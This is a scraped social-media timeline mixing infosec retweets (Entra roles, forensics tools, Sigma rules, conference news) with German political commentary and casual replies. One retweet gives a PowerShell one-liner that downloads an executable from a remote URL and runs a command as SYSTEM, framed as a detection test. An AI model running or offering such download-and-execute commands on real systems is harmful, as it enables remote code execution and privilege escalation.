M.

Interested in IT Security, renewable energy, new technologies, 3D printing. Passionate cyclist.

[ᴏʟᴀ✨ @justt_olaa]

@Erling Might delete later

[Daniel Bradley @DanielatOCN]

Microsoft just added a new role to Entra, specifically to respond to account takeovers! https://t.co/SPcOuTKYGR 💙

You won't find this in the admin portals just yet! But MsAdminRoles, keeps track of the back end, so you can see this coming!

The 𝐄𝐧𝐭𝐫𝐚 𝐒𝐎𝐂 𝐈𝐝𝐞𝐧𝐭𝐢𝐭𝐲 𝐑𝐞𝐬𝐩𝐨𝐧𝐝𝐞𝐫 role enables first responders to:

• Disable and enable user accounts during active security incidents
• Revoke active sign-in sessions for compromised users by invalidating their refresh tokens
• Reset passwords for compromised user accounts

#Entra #Microsoft

[DJ P.R. 🙄 @djpr]

This.

„Ich will nicht meine Tochter fragen müssen, was Herr Merz meint. Herr Merz muss selbst erklären, was er meint. Wir brauchen einen Kanzler, der verbindet – nicht einen, der in rätselhaften Sätzen spricht und alle unter Verdacht stellt.“ @fbrantner

[Ralph Ruthe @ralphruthe]

Wenn @_FriedrichMerz sich ernsthaft, auch nur ansatzweise, interessieren würde dafür, was gut für meine Töchter ist, nähme er die Klimakrise ernst, würde den Verbrennungsmotor in Rente schicken, Überreiche fair besteuern und nie mehr AfD-Parolen nachbellen.

[M. @keram1828]

@LamimaGC Oder wurde die Regelung wieder gelockert? Das wäre ja super

[M. @keram1828]

@LamimaGC Welche Bahn ist denn das? Mit Longjohns darf man doch offiziell gar nicht in die DB Züge…

[Johan Berggren @jberggren]

🚀Introducing OpenRelik: Open-source platform for digital forensic investigations. Modular workflows, collaboration, central artifact repository and easily extendable to support new tools in a clean, easy to use interface.

https://t.co/fnkTwtsXDd

[stacksmashing @ghidraninja]

Lenovo X1 Carbon Bitlocker Key Sniffing any% Speedrun

(42.9 seconds)

[Florian Roth ⚡️ @cyb3rops]

Mirai, Wacatac, and Artemis are the Lorem ipsum of antivirus signatures

[ᴍɪᴄʜᴀʟɪs ᴍɪᴄʜᴀʟᴏs @Cyb3rMik3]

❗ Working on incident response playbooks, investigating initial access for business email compromise (BEC) cases?...

[1/2]

#MicrosoftSentinel #MicrosoftSecurity #CloudSecurity #Microsoft365Defender #ThreatHunting #ThreatDetection #AdvancedHunting #BEC

https://t.co/9jAR6BlgIM

[Christopher Peacock @SecurePeacock]

Need some threat hunt ideas? Only have Web Proxy logs and no host logs? @cyb3rops and the community put together this awesome cheat sheet.
https://t.co/6REtoPXt3H

[M. @keram1828]

@benginx Weil Touch und Display dann äußerst schlecht nutzbar sind?

[SwiftOnSecurity @SwiftOnSecurity]

Working in InfoSec watching the rest of IT

[hack_lu @hack_lu]

First version of the @hack_lu 2023 agenda is now online

https://t.co/ICminLGG3c

The agenda will be extended in the next days with latest speaker acceptances or updates.

#hacklu #conference #infosec #luxembourg

[Florian Roth ⚡️ @cyb3rops]

Okay, another way to run whoami as SYSTEM

IwR "https://t.co/JqHfnwG5j4" -O "$env:TEMP\p.exe"; Start "$env:TEMP\p.exe" "-accepteula -s -r poo -i whoami.exe"; Sleep -s 5; ri "$env:TEMP\p.exe"

@UK_Daniel_Card
This makes Aurora light up like a Xmas tree🎄 & your EDR should, too

[Nasreddine Bencherchali @nas_bench]

Thanks to @markmorow and team. We now have "Azure AD Identity Protection Rules" in @sigma_hq

Events ref from MSDN https://t.co/wLUQprVbQp

Hope to see more contribution like these from the community 🔥💙

[SwiftOnSecurity @SwiftOnSecurity]

You ever wonder how many security products allow all 10* traffic like 101.25.26.94 because the admin/programmer didn't realize 10.* is a RegEx

[Jana 🖖🏼🏳️‍🌈 @ZoePionierin]

#FunFact: There is only one Mainzer Street in the US.
It is in the @cityofsaintpaul, #Minnesota just southeast of #Minneapolis and it has the same zip code as the German City @mainz_de 55118.